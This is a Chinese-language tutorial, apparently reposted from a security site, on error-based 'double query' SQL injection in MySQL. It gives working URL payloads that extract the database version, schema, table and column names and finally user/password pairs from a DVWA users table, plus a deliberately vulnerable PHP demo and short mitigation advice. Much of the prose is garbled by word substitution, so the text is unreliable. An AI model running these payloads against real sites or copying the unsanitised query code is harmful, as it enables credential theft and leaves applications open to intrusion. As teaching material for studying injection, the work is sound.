介绍1下双盘问注入,什么叫双盘问注入,这个有点难以表达,艰深的来讲即是嵌套子盘问。咱们理解1下子盘问,盘问的关键字是select,这个本人都知道。子盘问或许繁冗的理解在1个select语句里还有1个select,皮相的这个select语句即是子盘问。
这种言论适用于注入的时候没有前往位,但是有前往位的时候也适用,不过又前往位的时候就不提倡在、用这个啦!前往位即是你们union select 1,2,3,4,5,6,七,8 这里是8个字段
这里显示2,4,5,6,七,8即是前往位
其它,即是要有前往mysql差池提醒,php前往差池提醒有两种,看下图
这是mysql前往的差池
这是php前往的差池
双注入的事理,繁冗1句话事理即是有研究人员创造,当在1个聚合函数,譬喻count函数反面假定哄骗分组语句就会把盘问的1扫数以差池的形式显示出来。
8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;批注初步8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8212;8211;
floor()和rand(),count()就不在多说啦
但是concat()函数,就来讲1下,concat是1个连接函数,或许连接多个字符,譬喻
Default1 | concat("abc","123")="abc123" |
而且反对ascii码,譬喻:
Default1 | concat("abc",0x22,"123")=abc"123 |
(0x22即是双引号,或许用来当分隔隔离分散符)
这里在mysql输出
Default1 | select concat((select version())) |
在concat里实验盘问要用括号括起来,同时要必然只前往 1条数据,不然得用limit来包管只需1条了局 (limit 0,1 前往第1条)
假定这条语句减少from的话,就会前往表中的记录的条数,即是有几许条记录就会前往几许次的版本号,看图
这里还没有显示完!!
因而
1 | select concat((select version()),floor(rand()*2)) from mysql.user; |
(这里我用的是mysql中的mysql数据库,user表有4条记录 )
(91ri.org小编注:rand()函数是生成0-1之间的小数随机值,rand()*2是生成0-2之间的小数随机数,floor(rand()*2)就相称于生成0/1两个随机值)
Attention,这里显示的值是版本号加之rand()生成的,粗略版本好是去掉反面的0或1
现在咱们加之group by ,由于假定咱们从from 某张表的话,大概皮相就会有很多条记录,然后就大概生成随机值(据说是何等的,假定不是,还望告知)
这里用information_schema.tables来弄,由于他的记录够多 ,如前1条语句,你就或许知道啦
group by 1下多清爽啦
看语句中
1 | select concat((select version()),floor(rand()*2))a from information_schema.tables group by a; |
这里加粗的a是把 as a 简写成 a 罢了,说1下group by ,这个的浸染即是把5.1.69-0ubuntu0.10.04.10 分为1组,5.1.69-0ubuntu0.10.04.11 的分为1组
(小编注:假定列位看官不知道这里是怎样回事,实验1下
Default1 | select concat((select version()),floor(rand()*2)) from information_schema.tables |
就分明了)
开头就离开这个count()函数了,这个函数妙用或许看1下下图
Default1 | select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a |
看到了没有,前往了咱们反面concat的模式啦
ERROR 1062 (23000): Duplicate entry 8216;15.1.69-0ubuntu0.10.04.1821七; for key 8216;group_key821七;,咱们看看phpmyadmin下比拟具体的报错:
说了这么多就为了这个罢了!!
好了,给个小小demo(demo在本文开头)给你们,不过弄不出1个没有显示前往位的,所以就凑合1下的
然后双注入盘问是有静止公式的
Default1 | union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b |
这里将下面的demo设置数据库的1些参数当前,保留成yi.php,咱们的演示就正式初步了
这是正常的情况:
加个单引号后
这里阐明有注入了,然后用order by 判断字段咯,这里就截图了(太贫苦啦),字段数是8个(并不判断也或许的,只需必然有注入就行啦)
1、先读个数据库的版本、用户、当前库名
Default1 | http://12七.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b |
这里数据库版本:5.1.28-rc-co妹妹unity
用户是:root@localhost
数据库名:test
2、然后读数据库有哪些库
Default1 | http://12七.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b |
这里要留神,由于sql语句会前往多条记录,所以要用limit来限制前往的条数,limit 0,1是第1条记录
limit 1,1是第2条记录
(小编注:通过牵制limit来逐条查看数据库名称,请疏忽负面的0或许1)
3、然后看看有什么表
由于我有个dvwa的数据库,所以就用阿谁来做树范啦
Default1 | http://12七.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64七6七761 limit 1,1))a from information_schema.tables group by a)b |
加粗是dvwa的hex值,何等失去dvwa的users的表
4、然后看有什么字段
Default1 | http://12七.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x七5七365七2七3 limit 0,1 ))a from information_schema.tables group by a)b |
然后批改limit的值,失去字段user,password
5、然后读取字段的值
Default1 | http://12七.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b |
这边幅就失去字段的值啦,然后提醒1下,假如跨库读取数据,要写成数据库名然后.表名。由于当前数据库是test,然后我读的是dvwa库的users的表,所以要写成dvwa.users
好了基础即是这么多啦。
预防办法:
1个是过滤啦(把821七;,8221;,union,select load_file,%,and等痴钝字符都过滤啦)
另1个是参数化盘问,即是1种把盘问语句给静止死了,无论传畴前的值是什么,都只当成变量来实验盘问语句
demo的源码:
Default123456七89101112131415161七181920212223 | <?php $dbuser = "root"; $dbpwd = ""; //这里是mysql的密码 $db = "test"; $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error"); mysql_select_db($db,$conn); $id = $_GET['id']; $query = "select * from test where id =$id"; $result = mysql_query($query) or die(mysql_error()); print_r(mysql_fetch_array($result)); //繁冗的写1下罢了 ?> |
[via@广外(广东外语外贸大学)网络平安小组_台湾鸽]
日币责罚:
本文为原创文章、首发91ri.org,作者由按照本人的理论撰文,按照本站积分规定给以日币责罚共6枚。